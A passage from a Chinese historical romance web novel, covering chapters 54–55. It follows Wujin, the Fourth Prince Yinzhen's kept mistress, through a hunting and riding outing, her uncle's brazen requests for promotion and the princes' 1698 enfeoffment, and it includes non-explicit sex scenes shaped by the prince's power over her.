倒是她额娘听说多兰格格大婚,多兰跟彩玉同岁,她们也想为彩玉寻一门亲事,觉得女孩子的年纪耽误不得。
彩玉无父无母,她的亲事是她们说了算,她额娘对外已经认彩玉为女儿,说是她的妹妹,以此来抬高彩玉的身份来找一门合适的亲事。
彩玉对自己的亲事也没有太多想法,基本上是由她额娘她们做主,乌锦觉得彩玉年纪还小,对男女之事都未必了解,其实不着急找夫家,此话一出就被额娘跟小娘训两句,说她不懂事,女子年纪一长就更不好说亲了,十五六岁正是说亲的年纪,过了就不好找了。
乌锦只能闭嘴,不敢再多说,偶尔额娘问她的意见,她帮着参谋一二。
第54章第54章更新
第54章
十一月一日,巳时初,乌锦在房间内做针线活,天冷,谢嬷嬷特意在角落处放一暖炉,将晒干的橘皮放置暖炉上方,屋内由此散发着橘子的清香。
“乌姑娘,主子爷来了。”
谢嬷嬷终于有一次是提前进来知会她,乌锦心想四阿哥十几天前才来过,她以为她又要隔一个月才会再见到他。
她见到四阿哥走进来,他今日穿了一件青色绣万年青的常服,外加一件棉坎肩,玄色窄袖,十分利落潇洒的打扮。
乌锦下地,福福身子给他行礼,她以为他过来就是想跟她做那事,反正她已经习惯了,她正准备上前给他解衣时,他抓住她的手,她稍显疑惑。
“你换身衣裳,我带你出去。”
乌锦更加疑惑,出去?出哪里去?要带她进宫吗?
“爷,你要带我去哪?”
“去狩猎。”
乌锦忍不住诧异地啊了一声,狩猎?她既不会骑马也不会射箭,狩什么猎,虽说十一月还没到冬日最冷的时候,但外面依旧是寒冷的,她才不想去外面吹冷风。
“主子爷,你……”乌锦想说他是不是又抽风了,话语稍转,“主子爷怎么会想着带我去狩猎,我不会骑马,恐怕会拖爷的后腿。”
“别问那么多,我让你去你就去,不必多话。”
乌锦见他意已决,只好说她去换衣服,让他等她一下,她也不绕到屏风后面,当着他的面换上方便骑马的一套衣服,怕冷的她穿了一件夹袄在里头,顺带把斗篷也穿上。
胤禛见她将自己裹成球,轻皱眉头,最后还是什么都没说,先走出房间。
乌锦跟在他后面。
门口已经停了一辆马车,车夫不是赵师傅,应该是四阿哥的随身侍卫,他们腰间带着佩剑,马车高大,她还是费了点劲才坐进去。
车厢里面不仅底下放着坐垫,连车厢内壁都有软垫,就怕人撞到坚硬的木头,她跟他面对面坐着,马车开始缓缓驱行。
“主子爷为何想带我出去?”
乌锦不知道他为何要带她出去,难不成要她当猎物来满足他们这些权贵的恶趣味。
其实胤禛也不知道自己为何要带她过去,就是突发奇想,想着带她出去,他不好解释自己为何会带她,只冷着脸说道:“我带你过去是让你过去伺候我。”
乌锦顿时想歪了,心想他这是想搞什么野外刺激,室内已经不能满足他了。
“我知道了,我会好好伺候的。”
“你为何不会骑马?”四阿哥不想继续跟她聊为何要带她出去的事,随口问了别的。
“没学过自然就不会骑。”
乌锦小时候苦学刺绣了,哪有功夫学骑马,更何况他们家也没有马,养一匹马要耗费不少银两,他们家在她小时候是比较穷的,她看向他,笑着问道:“我不会骑马,主子爷愿意教我吗?”
“我是去狩猎,不是教人骑马。”
乌锦直接过去坐在他那一边,搂着他,脸贴着他胸膛,语气有点乞求跟撒娇:“爷就教教我嘛,反正你都带我出去了,你要是教会我,我以后可以喊你师傅。”
胤禛其实并不擅长骑马射箭,至少在兄弟之中,他不是最擅长之人,谙达说他具备极佳的身体条件,但没有真正用心去学,他明明用心苦练了,却没有达到皇阿玛的要求。
被皇阿玛骂多了,他的确有产生过不想再去学的念头,反正他都比不过其他人,皇阿玛也不会认为他是最好的,有时候是有点懈怠。
“主子爷,你不说话,我就当你答应了。”
胤禛想着教教她也无妨,他刚低头看她,这个女人就凑上来亲他,她可真是不害臊,这可是在外面。
“别闹。”
“这是给主子爷的谢礼,你要是真的教会我,那谢礼会更厚。”
胤禛看她笑得一脸狡黠的样子,什么谢礼,他想要她不是信手拈来的事,哪轮得到她拒绝,她的谢礼是他平日里完全可以得到的,本就属于他的,算不上什么谢礼。
“你这谢礼未免太薄了。”
“礼轻情意重。”
胤禛轻笑,捏了捏她的脸,“你可真是占便宜。”
乌锦就顺势整个人靠在他身上,把他当人肉垫子。
胤禛也不恼,伸手搂着她的腰。
不知过了多久,他们到了狩猎的地方。
乌锦下了马车后就见到雅尔江阿等人,还见到她的大堂哥查诺,这些人应是四阿哥的亲信,她知道查诺是四阿哥的哈哈珠子,跟四阿哥从小一块长大的。
显然四阿哥没告诉他们他会把她带过来,那些人个个面露诧异,她没有给他们行礼,毕竟她此时站在四阿哥身边,是四阿哥带过来的人,只是朝他们点点头。
查诺知道自家堂妹是四阿哥的外室后,已经震惊过一回,谁能想到乌锦会成为四阿哥的外室,明明堂妹样貌已毁,可今日见四阿哥把堂妹带过来,他又震惊一回,四阿哥对乌锦到底是什么心思,难不成堂妹真的会成四阿哥后院里的女人,他当然对这个结果是乐见其成的,堂妹好歹是自家人,以后说不定能帮衬到他们。
“走吧,今日必须射中一头野猪才行。”四阿哥开口说道。
其他人连忙附和,说四阿哥肯定能射中不止一头野猪。
乌锦小时候也是见过野猪的,不过那会是夏季,夏季野猪泛滥,有些猎户是专门去深林中一起围堵狩猎。
这次显然是四阿哥带着自己人过来玩,跟随的奴
才也不少,有些还拿着盾牌,可能是怕野猪冲过来撞到主子,有几个牵着马走在后头。
她还惦记着四阿哥教她骑马呢,对猎野猪不感兴趣,能学会骑马是件好事,她跟在四阿哥身边,跟着他们一起进去深林中。
“四阿哥常来这边吗?”
“这一块丛林茂盛,是野兽常常出没的地方。”
“野兽除了野猪还有什么?”
“有野兔野鸡,还有野狼。”
乌锦抬眸看他,在想他说的是不是真的,这里显然是京城城外,都有野狼出没的话,可见还是有一点危险性的。
“主子爷,别忘了要教我骑马。”
骑马才是正事,狩猎对她一个完全不懂射箭的人而言显然有很大难度。
在旁人看来,四阿哥跟他的外室是在窃窃私语,两人挨得很近,举止亲昵,不少人觉得外室是在勾引四阿哥,心里想着能当外室的人果然有几分手段。
雅尔江阿虽是这群人当中第一个知道乌锦是四阿哥外室的人,他从来没见过四阿哥跟乌锦相处时的样子,今日一见,他也很惊讶,他以为乌锦会很惧怕四阿哥,没想到她跟四阿哥相处很自然,丝毫不见惶恐惧怕的样子,而四阿哥对乌锦好像也有点不对劲,他也说不上来哪不对劲,就是觉得他们两个人很熟稔,四阿哥甚至有点纵着乌锦。
他们一行人还是分开行动,乌锦只跟着四阿哥,四阿哥显然不着急狩猎,先教她拉弓射箭。
乌锦发现这弓箭重得很,不是那么好拉的,得有一定力道才行。
“手伸直,好,就这样放开。”
他站在她旁边教她,她尝试射出几箭,基本上是轻飘飘地射出,没什么杀伤力,别说射中那些在跑动的猎物了,静物都射不中。
她心虚地看着四阿哥,“爷,你说的我记下了,要不你别管我,让我自己先练练。”
“你继续射吧,箭术不是一蹴而就的。”
她当然知道这玩意不是一蹴而就的,她朝着一棵树不停地拉弓射箭,射了好一会儿才掌握一点窍门,她终于射中那棵树,弓箭稍微射穿留在树中时,才得意跟他挑眉,跟他说她学会了。
胤禛见她得意的样子,嘴角微扬,还不算太蠢笨。
“爷,我们来猎兔子吧,去哪找兔子?”
见她兴致勃勃,胤禛心想她这是还没学会走就想飞了,野兔哪是那么好猎中的,不过他还是带着她再往深处走去。
野兔容易被惊动,他们见到野兔时都不由屏住呼吸,胤禛拉弓,第一次没射中,再看乌锦,她射出来的箭不知道偏到哪里去了,她很是懊恼地敲一下自己的脑袋。
那只野兔很快就窜回丛林深处。
他们就在原地继续等,四处环顾。
这个时候所有人都安静,只有树林里传出一些鸟叫声。
乌锦也耐着性子等第二只野兔出现,她发现四阿哥很有耐心,他可以一直盯着一个地方,守株待兔最主要的就是等,她等久了还有点不耐烦,再一看四阿哥,他脸上一点不耐烦的神色都没有。
等第二只野兔出现时,乌锦直接看着四阿哥拉弓,他比她稳多了,差一点就射中了。
“爷,你下一次肯定能射中。”
胤禛瞥了她一眼,她这安慰还不如不安慰。
许是这边野兔少,他们又换一个地方。
他们花了两个时辰才射中两只野兔跟一只鸟,野猪野狼是没有见到,这些都是四阿哥猎中的,她充当着鼓励的角色,什么都没射中,倒是落得肩颈手臂酸痛。
四阿哥这会才想起来要教她骑马,让奴才把马牵过来,他们寻一处较为宽敞的空地,他教她骑马。
乌锦是真心想骑马,射箭不是她真心想学的,所以她学得很认真,这匹马也比较温顺,四阿哥坐在她身后,跟她一起握着缰绳。
乌锦学了半个时辰就有点想自己一个人骑了,她让四阿哥下去,她自己骑着走一圈。
“过河拆桥。”
乌锦笑着吐舌头:“你一直在我后面,我肯定永远都学不会,放心吧,我肯定不会摔的。”
胤禛还是让她一个人尝试骑马,这匹马已经被驯服好了,很是温顺,应该不会出事,乌锦看上去十分开心,她脸上的笑容是发自内心的。
她慢慢绕了三圈,回头看他时眼睛亮晶晶的,她的眼睛本来就很好看,这会笑的时候更是透着一股蛊惑人的魔力。
“四阿哥,你看,这马可听我的话了,我试着慢慢跑起来。”
见她慢慢提速,胤禛不由觉得这个女人真是胆大,初次骑马就敢让马跑起来,她玩得开心,他也没有制止她。
乌锦跑了一会后觉得累了才从马背上下来,虽说还没到驰骋的程度,但她能感觉到风吹在她脸上,她小跑着跑向四阿哥。
“原来骑马也没有很难,你看我半天就学会了。”
胤禛盯着她,觉得她此时笑得毫无防备的样子很动人,他缓缓道:“只是这匹马很温顺而已。”
“反正我不管,我是学会了,下回四阿哥可以再带我出来,要是能去一个满是草的宽阔地方就更好了,我可以去骑着马驰骋,到时候我们可以来一个比赛,看谁跑得快。”
她穿的斗篷毛茸茸的,胤禛不由伸手摸了摸她的斗篷,触手很柔软。
“下次再说,好了,时辰差不多咯,该回去了。”
乌锦觉得跟了他快两年,他终于干了一件人事,她蹦着跟在他身边,一高兴直接跳到他背上。
苏培盛不由地惊呼一声,随即又赶忙捂住嘴,乌姑娘真的是……他都不知道用什么词形容乌姑娘,四阿哥对乌姑娘是真的有几分特殊。
“别闹,下来。”
四阿哥轻飘飘的喝止显然不会让乌姑娘害怕,乌姑娘依旧在四阿哥背上,还让四阿哥背她。
四阿哥一直让乌姑娘下来,乌姑娘不听,苏培盛想着四阿哥若是真想让人下来,直接扯下来就是,说那么多也不管用,这会儿四阿哥反而稳稳当当地背着乌姑娘,怎么不算说一套做一套呢。
四阿哥还从来没背过人呢,谁敢让四阿哥背呀。
苏培盛觉得乌姑娘成为主子是迟早的事。
乌锦当然不可能让四阿哥一直背她,走了一段路,她就自觉从他背上下来了。
“爷,你教会我骑马,你以后就是我师傅,师傅,请受徒儿一拜。”
胤禛不知为何被她这句话弄得心间微热,他得不到皇阿玛的夸赞,可是他却能教会她骑马,他在她这得到骑马的乐趣,找回自信,他的骑术也没有那么差,好歹他能教人。
“胡言乱语,赶紧起来。”
乌锦本来就是做做样子,她膝盖都没有弯。
这一日,他们一行人都没有猎到野猪,见都没见到,许是到冬日了,野猪也冬眠,倒是猎中不少野兔,还有一只小鹿,每个人看上去都挺高兴的。
乌锦跟她的大堂哥也没说什么话,回去的时候,她依旧跟四阿哥同一辆马车,这回一上马车,四阿哥就搂着她亲。
“爷……”
“别说话。”
到后面,乌锦觉得四阿哥似乎真的忍不住,她生怕他们要在马车上做一次,稍微推拒:“爷,这可是在外面,你得克制自己。”
“我都不怕,你怕什么?什么克制自己,你若是不勾我,我又怎会如此。”
天地良心,她哪里勾他了,乌锦双眼透着大大的不解。
胤禛把人搂过来在腿上坐着,他觉得这样的乌锦才是真正的她,如此鲜活,以前她对着他笑,他总觉得她是在假笑,是在讨好他,今日她的笑是溢出
的,是真的开心。
“你不是说要给我谢礼吗?”
“那也是等回去之后。”
“等不及了,就在这里吧。”胤禛肯定得回宫,天快黑了,他不能过去她那里再回宫,他的手伸进去,撩开她的裙子。
乌锦推拒不起作用,只好随他,他们在马车上疾风骤雨地来了一回,匆匆结束。
胤禛难得帮她整理好衣裙,外人看都看不出来他们方才做了什么事。
回到内城时,天已经黑了,四阿哥先送她回去,她从马车上下来,一回到宅子里就让谢嬷嬷给她熬一碗避子汤。
今日虽然玩得开心,四阿哥带她出去见人,但这并不代表什么,乌锦知道他可能是一时兴起,她不会认为他喜欢她才会这么做。
又过几日,小舅那边还真的惹事了,他打伤他的上官参领,那参领说要撤去他佐领之职,小舅如今都不能过去营里当差,很可能连旗缺都保不住。
乌锦他们细问,这事还错在她小舅,他仗着她跟四阿哥的关系,说话时对他的上官参领语气不敬,让对方给他加俸禄,那参领说要按照旗规行事,不能随随便便给他升俸禄。
她小舅跟人打起来,不管怎么样,参领都是在佐领之上,参领有权处置他的下官,等于她小舅有可能丢了差事。
小舅妈她们十分着急,找乌锦帮忙。
乌锦跟她额娘过去小舅家,问他们究竟将人伤成什么样,重伤这事就不好解决。
小舅妈说只是皮肉伤,他们很快被拦下了。
“那让小舅过去跟人道歉,送些礼过去,诚恳道歉,可能那位参领就将此事揭过了。”
“我才不道歉,桃子,你可是四阿哥的女人,将来是要当主子福晋的人,我们还怕一个参领不成,让四阿哥将他罢官。”明达嚷嚷道,一脸不服,口气大得很。
“我没这个本事,小舅,你有本事,你自己去!”乌锦难得脸色不佳道。
明达看向自己的侄女,语气不善:“桃子,你为什么站在别人那边,我才是你舅舅,四阿哥肯定听你的话,只要四阿哥一句话,肯定能将他罢官。”
“我说了,我没有这个本事,舅舅若是有这个本事,你自己去找四阿哥,这事你有错在先,你不想去道歉的话,那你以后就待在家里,你这佐领也不要当了,省得你闯出更大的祸。”
“我又见不到四阿哥。”
“我也见不到。”
“你怎么可能见不到?”
乌锦看着她小舅,他还一副不知错的样子,她懒得再理他,跟她额娘说她先回去了,这不关她的事,她不会帮他的,他要是旗缺没了,那就没了,以后没有月银,他们一家就吃糟糠菜。
“桃子,你不能不管你小舅啊。”小舅妈拉住她,不让她离开。
“不是我不管他,是我管不了,我都说让他去道歉,去送礼,他不去的话,那我能怎么办,我不过是四阿哥的外室,你们还以为我是当上主子了,这京城内有多少皇子福晋,多少主子,我算得了什么,你们打着四阿哥的名义在外面闹事,四阿哥若是知道,第一个先砍你们的头,你们的事,你们自己看着办吧。”
小舅妈掐一把小舅:“你赶紧听桃子的话,去给人道歉,我们一家五口都指着你呢,你要是没有这份差事,拿什么养家,翠萍肚子里还怀着孩子呢。”
完颜氏也看向自己不成器的弟弟,外人看自家女儿是四阿哥的外室,光鲜富贵得很,但她知道自己女儿是什么处境,先前女儿身上的那些伤口不是白来的,稍有不慎,他们一家可能都没命,他怎么敢打着四阿哥的名声在外面惹事,这八旗之中主子太多,他们算得了什么。
“明达,你不要不懂事,赶紧去道歉,不然我们也帮不了你,你非要闹的话,我们不会再管你了。”
“三姐,我又没做错什么。”
“你怎么可能没做错什么,人家官职在你之上,你怎么敢动手打人,你不跟人道歉的话,我们也管不了你。”
完颜氏不想让她这个弟弟拖离乌家,拖累她女儿,再这样下去,他迟早会惹出更大的麻烦,得让他记住教训才行。
明达见谁都不站在他这边,他开始不吭声了。
“额娘,走吧。”乌锦催促她额娘离开,总不能每次出事都要他们善后,她小舅就是仗着上头有几个姐姐,什么事都给他兜底,他才成今日这幅样子,明明比她年长,本该是他来保护她,偏偏还要她这个晚辈给他善后。
“你自己想想吧。”
完颜氏说完跟着自己女儿离开,留下五两银子给他们,也算是帮他们了,其它的,她们也无能为力。
过两日,乌锦才听小舅妈说她小舅还是去赔礼道歉了,那参领也让小舅继续回营里当差,这事才算是过去。
乌锦也松一口气,四阿哥才没有空管他们家这些鸡毛蒜皮的事,他也不会管,她希望她小舅以后不要再惹事,只是以她小舅的性子,恐怕很难办到。
这次只是得罪一个参领,万一得罪到身份更尊贵的人,这事恐怕就没那么容易过去,她想那个参领也只是顺着台阶下,不想真的把事情闹大,可能还是忌惮四阿哥才会原谅她小舅,不然她小舅真的可能会失去这份差事。
第55章第55章更新
第55章
又是一年年末。
昨夜,京城下了今年冬日的第一场雪,雪下得又厚又久,一早起来松雪的清冽扑鼻而来,一眼望去白皑皑一片,银装素裹,连屋檐上都有一层积雪。
谢嬷嬷怕这积雪将屋檐压垮,让赵师傅清雪,赵师傅爬上木扶梯,拿着扫雪的扫帚慢慢地将积雪扫下来。
乌锦让他们自己忙活,她回家一趟,一回到家发现家里来客人了,是二舅妈的表叔领着一家子过来,一见到她就十分热情殷切,上来就将她一顿大肆夸赞一番,她只能尴尬地笑了笑。
“桃子,那旗缺的事,你想想办法,你安和表哥今年都二十二岁了,你只要跟四阿哥说一声就行。”
表叔一脸恳求,就差没给她跪下了。
乌锦瞥了一眼她这个安和表哥,其实她只见过他两三次,比她跟她的两个堂哥还要疏远陌生,话没上几句,不算是乌家的亲戚,是她二舅妈那边的亲戚,平日里压根没什么往来的。
“你们隶属镶白旗,不如去找那些镶白旗的佐领参领,或是找在镶白旗旗司当差的人,户部的人也可以,我在四阿哥那实在说不上话,我也许久没见到四阿哥了,我实在是帮不到你们。”
表叔继续说道:“那为何你阿玛能升官,既然你阿玛能升官,为何你表哥只是想领个旗缺却不可以。”
听着这种类似指责的话,乌锦表情变得冷漠许多,她阿玛可是她亲爹,他们又是从哪里冒出来的,她不想再说话,只是坐在铺炕上剥橘子吃。
他们可能感觉到她的冷漠,哀求无果后又跟她额娘说了几句话才肯离开,离开前把他们带过来的年货留下,无论她额娘怎么塞回去给他们,他们都不收,硬是留下。
“这怎么办?这几日,过来给我们送礼的亲戚太多了。”完颜氏很是苦恼,自从那些人知道女儿是四阿哥的外室后,以前过年没走动的今年纷纷过来送礼,这礼不收,他们还硬塞。
一般他们是有事相求,比如这旗缺的事,只是自家女儿也没有办法帮他们,他们收礼了不帮人办事也说不过去,那些人仿佛像赖上他们一家子,不帮还有怨言,到底算是亲戚,真撕破脸也不好。
“额娘,若是他们还这样,你尽管收,他们多送几次达不到目的,他们自己就不会再送了。”
完颜氏看向自己女儿,想想也觉得说得有理,于是不再为这事烦恼,她见大冷天的,女儿吃橘子还吃得津津有味,她目光一亮,忍不住望向女儿的肚子。
“桃子,你是不是这阵
子很喜欢吃酸的?”
“还好。”她有什么吃什么,口味还是没变,喜欢吃肉,尤其是大冬天吃肉很过瘾,谢嬷嬷不会拘着她吃肉,她的吃穿用度,还是走四阿哥那边的账,无需她额外掏银子补贴,乌锦见额娘视线往下,她顿时才明白什么,否认道:“额娘,我没有怀孕,前几日月信才结束。”
完颜氏有些失望,自家女儿总不能一辈子是个外室,既然已经跟了四阿哥,她当然希望女儿能成为真正的主子,都说母凭子贵,母凭子贵也得先怀上才行。
“四阿哥一般隔多久来找你?为何这么久还没有动静?”
“他来得少,我隔许久才会见到他,孩子的事,额娘,你就别操心了。”
完颜氏怕说多了,女儿会厌烦,于是不再说孩子的事,快过年了,她跟女儿说送礼的事,今年有很多人给他们送礼,甚至自家丈夫的一些上官也给他们送礼,他们不能只收不回,有些人还是要回礼的。
谁给他们送礼,送了什么,完颜氏都有记在册子上,她拿来册子跟女儿商量,女儿让她将别人送的礼再转送别家,母女两这一聊便是一个时辰,完颜氏差点忘了要给在守铺子的连秀跟彩玉送午膳。
乌锦过了未时才慢慢走回宅子那边,冬日天黑得早,她回去时天色渐暗,谢嬷嬷提前在屋内烧银炭,这银炭是谢嬷嬷买的,走的依旧是四阿哥那边的帐。
谢嬷嬷跟瓜嬷嬷就老在她耳边念叨,说四阿哥待她极好,从不吝啬,生怕她在外面吃苦,给她们的银两都是足足的,她们才放心买好的东西给她使用,四阿哥待她的心是真真切切的。
乌锦一边耳朵进一边耳朵出,谢嬷嬷她们毕竟是四阿哥的人,四阿哥才是她们真正的主子,她们向着四阿哥也无可厚非。
翌日,京城又下雪,寒风刺骨。
乌锦就没有出门了,待在暖和的房间内,早上起得晚,她们直接吃午膳,锅子直接摆上来,她一直在汆烫牛肉片,沾着她自己做的辣酱吃十分过瘾。
只是房间内吃锅子,味道不易散去,她们吃好后还特意开窗散一会。
她们三人都待在房间里,乌锦在做绣活。
外头有动静时,三人互相对视,她问是不是外面有人在喊,谢嬷嬷起身出去看看,过一会儿进来的是四阿哥等人。
乌锦对四阿哥的出现也有点惊讶,毕竟外头还在飘雪,她都不愿意在这么冷的天出门。
人来都来了,她也不能赶人,忙让谢嬷嬷往炭盆里多添些炭,她把暖手炉递给四阿哥,他身上穿着的狐皮大氅有些雪花,她帮他拂去。
谢嬷嬷他们也一一退下。
“爷,你怎么会过来?”
“我不能过来吗?”
“爷想什么时候过来都行,我给爷剥橘子吧。”乌锦上手给他剥橘子。
胤禛对递过来的橘子有些不喜,他不喜在冬日吃橘子,不过都递到嘴边了,他也只好张口咬住吃下。
好在这橘子放在房间内久了,吃下去并不觉得很凉,他看到炕几上有不少橘子皮,可见她自己吃了不少。
“你很喜欢吃橘子?”
“我觉得冬日的橘子特别甜,这几日吃肉吃多了,想吃点橘子解腻。”
胤禛本就是随口一问,不打算知道她平日里都吃了什么,反正养她的确花了不少银子,她比宫里的主子还要费银子,得亏他是个阿哥,不然一般人很难养得起她。
他勾勾手,示意她过来。
乌锦从善如流地半躺在他身上,觉得他大氅碍事,还帮他把大氅脱了,反正屋里烧着炭,铺炕也是热着的。
“爷,你平日里都做些什么?”
“看折子。”
“看折子不是皇上的事吗?”
“有些折子是递给我的,有些折子是皇阿玛让我处理。”
他身为阿哥,也是要为皇阿玛分担公务的,只是还没有领差事,基本上皇阿玛跟太子交代他做什么,他就做什么,他其实也想找一份真正的差事做,而不是东一榔头西一榔头,像胤褆,他如今就在内务府那边当差。
内务府可是肥差,不过内务府的差事也不是那么好干的,里面的人大多是八旗出身,跟各大家族有着千丝万缕的关系。
内务府已经有胤褆了,皇阿玛应该不会再把他分去内务府,他说清闲也清闲,而且他到这个年纪了,肯定想在朝中做事,他不想当一个无用的阿哥。
“好了,不该问的别问,朝中的事跟你无关,你只需好好伺候我就行。”
乌锦撇撇嘴,她不过是想闲聊几句而已,又不是干涉内政,他生怕她知道什么似的充满防备,算了,她还是伺候他吧,省得他不满,她主动亲他,从薄唇到喉结,尤其是喉结,她吮吸得很用力。
胤禛呼吸一窒,看着乌锦动作,慢慢躺平下来,乌锦一直半伏在四阿哥身上,将他外衣全部脱掉。
“你在哪学的这些?”
“话本子上。”
胤禛想到乌锦看的那些话本子,她不爱看别的书,就是喜欢看话本子,那些不合世俗的故事,她看得入迷。
只是她这样亲反而勾得他不上不下,他把人扯上来,攫住她红唇才觉得稍微释放一些。
两人就在温热的铺炕上做了一次。
事后,乌锦忍不住擦了擦铺炕上的痕迹。
“四阿哥,下次还是去床上吧。”
“不用等下次,现在就可以去。”
乌锦抬眸看他,他精力可真是好啊,她问了一句:“主子爷,是不是你后院的女人都怀孕了?”
不然他每次来她这,精力都这么旺盛,他后院那么多女人满足不了他嘛,虽说她也能得到一些乐趣,不过跟喝避子汤比起来,她宁愿不要那些短暂的欢愉。
福晋快要生了,而李氏怀孕了,其实她们哪怕没有怀孕,胤禛也不大喜欢跟她们做这些事,因为她们都太规矩,还有就是那是在宫里,一点风吹动静都会传出去。
“只做一次,你就心生怨言?我想做几次就做几次,想在那里做就在哪里做,你只需乖乖承受。”
乌锦眼神凉凉地瞥他一眼,心想他爱说什么就说什么吧,比起之前那些威胁她,想要取她性命的话,这些话已经算是稍微正常的话语,她听得多也就有点免疫了。
胤禛觉得自己在这个女人面前越来越没威信,她都敢用眼神横他了,他翻身把人桎梏住。
“乌锦,你别忘了谁是主子。”
“我的主子当然是四阿哥,你想做就做吧,只要四阿哥能起来,我当然是乖乖承受。”
胤禛堵住她的嘴,省得被她气到。
他们没有去床上,而是又在铺炕上做了第二回。
到了未时末,外面天色已经很昏暗,尽管这会其实还算是白天的时辰,胤禛待了一个半时辰才带着人离开。
他回到马车上,刚走没多远,马车就忽然停下,苏培盛传话说有一人拦住他们的马车,说是乌锦的小舅。
完颜.明达是刚好过来找乌锦,想跟她要些银两,见到有男人从乌锦新买的宅院里走出来,身边跟着几个伺候的奴才,他直觉就猜到被围在中间的男子是四阿哥。
他想了想便上前拦住四阿哥的马车,在四阿哥掀开车帘时,他连忙凑上前,说他是乌锦的亲舅舅明达。
四阿哥几乎很少碰到过乌锦的家人,这还是头一回,他知道乌锦有两个弟弟,在官学那边念书,其它家人,他没有过问。
“乌锦常跟我们提起四阿哥,说四阿哥待她很好,能当四阿哥的外室,是乌锦走运,今日我一见四阿哥,四阿哥果然丰神俊朗,才貌双绝。”
这种溜须拍马,胤禛听得多了,像他这样谄媚的人,他也见得多了,乌锦这个舅舅还不如乌锦会察言观色,他给苏培盛一个眼神。
苏培盛就立即说道:“完颜大人,主子爷赶着回宫,你若是无事,别挡着主子爷的道。”
完颜.明达就抢话说他有事,他把前阵子发生的事跟四阿哥说一遍,让四阿哥处置那个杜参领。
苏培盛被完颜.明达的话惊到,他没想到这个人敢这么直接让四阿哥帮他处置人,这还是第一次见面,他又不是乌姑娘,乌姑娘跟了主子爷都两年了,除了让弟弟上官学一事求过主子爷,其他时候是真的没求过主子爷,更别说让爷帮忙处置别人了,他怎么敢张这个口,没看到主子爷神色不耐了嘛,他就没见到这么没眼色的人,甭管他是不是真的是乌姑娘的舅舅,就凭他一上来就让主子爷将参领罢官,仗着是乌姑娘的舅舅而得意忘形,实在是没分寸至极。
“我知道了,我会升你为参领。”
明达只是想让四阿哥将杜参领撤职罢官,没想到四阿哥还直接升他为参领,他顿时狂喜,对着四阿哥就是抱手鞠躬,连着说了好几句多谢四阿哥。
苏培盛不知道四阿哥心中所想,他问明达是否可以让开了。
明达侧开身子让马车过去,看着四阿哥的马车走远,原本他想过去跟乌锦要银子的,又想到自己即将升为参领,到时候月俸增多,于是他就没有过去乌锦那要银子,而是直接回家了。
等回到宫中,苏培盛才敢问四阿哥一句,是否是真的要帮完颜.明达。
四阿哥眼神里尽是嘲讽,这个完颜.明达一看就是无能之人,他是自己的意思还是乌锦授意,他暂且不知,乌锦会不会以为自己对她多有宽容,她才让她家人过来索要官职,人不可能不贪心,乌锦也不例外,她终于是忍不住了。
“照他说的去做,我倒要看看他们还想要什么。”
苏培盛有些意外,不敢质疑四阿哥的决定,只能点头应是。
乌锦完全不知道小舅碰见四阿哥这事,更不知道四阿哥因此对她不满,属于人在家中坐,锅从天上来,关键是她自己还什么都不知道,蒙在鼓里。
快过年了,她忙着过年的事,四阿哥自从那日过后没再来找她,她知道谢嬷嬷跟瓜嬷嬷他们有家人在京城中,她便让她们回家过年,她自己也回家过年。
乌安跟乌明两人也放假了,乌安还是一样爱读书练字,他白天都待在家里读书,而乌明到处乱窜,四处去玩。
乌锦虽说没有正式出嫁,但在旁人眼中,她已经不是黄花大闺女,算是出嫁女了,年前走亲戚时,她就没有跟着她额娘他们一起,基本上是待在家里。
跟她们家来往的亲戚多了,乌家在过年这几天十分热闹,她额娘他们在应对亲戚的帮忙要求也能应对自如,一致统一口径是帮不了。
那些亲戚不好跟他们撕破脸皮,有些悻悻而归。
这个年过得还是很热闹舒服,乌锦觉得自己又胖了几斤。
年后,乌锦又忙着铺子里的绣活,四阿哥不来找她,她也不以为意,日子过得充实而平静。
当她听说她小舅从佐领升为参领时,她很是震惊,年前他才刚升为佐领,怎么一下子又升为参领了。
她跟她额娘过去小舅家时,小舅妈他们都高兴得很,小舅也十分得意,乌锦问小舅怎么做到的,小舅说他凭自己的本事被升上去的。
乌锦一肚子疑问,她小舅这人哪有什么本事,他这人是好高骛远,眼高手低,跟他接触多了就知道他是什么样的人,更奇怪是小舅先前得罪的那位杜参领反而被降职了。
她忍不住在想难不成是四阿哥在暗中帮她小舅,还是说有人借花献佛,想以此攀上四阿哥。
“桃子,你小舅升官是好事,甭管他是怎么升官的,他升上去就好,如今我们家也是出了一位五品官了。”小舅妈笑道,让她别在意那么多。
乌锦还是觉得奇怪,她阿玛才勉强升为八品典仪,她小舅一下子就成五品官,他有能力当好这个官嘛,别闯出什么大祸到时候收拾不了。
她忧心忡忡,只是见他们那么高兴,也没有当面说什么不好听的话,寻思着回去她问问四阿哥,若真是四阿哥暗地里帮他们,她得让四阿哥撤回去,她小舅实在不是当大官的料,还不如她大舅,只是她大舅是汉民,不是出身八旗,这才当不了官,只能做点小生意。
她想见四阿哥,只是让谢嬷嬷给四阿哥递了话,四阿哥也没过来,这一等便是一个多月。
康熙三十七年三月一日,皇上册封成年的皇子,皇长子大阿哥胤禔被册封为多罗直郡王,三阿哥皇三子胤祉被册封为多罗诚郡王,四阿哥胤禛、五阿哥胤祺、七阿哥胤佑跟八阿哥胤禩被册封为多罗贝勒。
乌锦听她阿玛说才知道四阿哥被封贝勒的事,那些成年的阿哥的确在康熙三十七年被册封,下一次册封可能要等上十年了。
许是因为册封的事,四阿哥才没空过来找她。
……
事实上胤禛早在一月初的时候就隐隐听说皇阿玛要册封成年的皇子,所以后宫那些有子的嫔妃也纷纷想尽办法想要在这次册封上出力,动用娘家的势力,总之是各显神通。
他的生母德妃跟他不亲近,乌雅一族也不是特别显贵的家族,娘家势力比起其它家族弱了一些,他也没有开口要德妃帮忙,他觉得皇阿玛应该封他一个郡王。
德妃的确在这上面没出什么力,胤禛也不是太难过。
这两个月,前朝后宫表面上看上去是平静的,底下却是波涛暗涌,胤禛自己在这两个月也常往皇阿玛身边凑。
除了太子,他那些兄弟在这两个月也表现得异常温顺,不惹事不闹事,甚至开始背书,勤学骑射,跟他一样常在皇阿玛身边晃悠,对皇阿玛交代的差事办得异常认真。
太子自然不需要做这些,谁让太子生来就是太子,皇阿玛在他刚出生不久就封他为太子,又亲自养在身边,他们这些人比不过太子。
他们顶多是当个亲王,胤禛也有想过皇阿玛可能会册封他们为亲王,毕竟胤褆、胤祉跟他年纪也不小了,这个年纪也可以当亲王。
总之他们年纪较长的几兄弟在这两个月使出浑身解数,表现得兄友弟恭,胤禛都跟胤褆把酒言欢过几次,为的就是让皇阿玛看到他们的兄弟之情,皇阿玛不喜他们发生争执,就是想看到他们几兄弟和谐相处的样子。
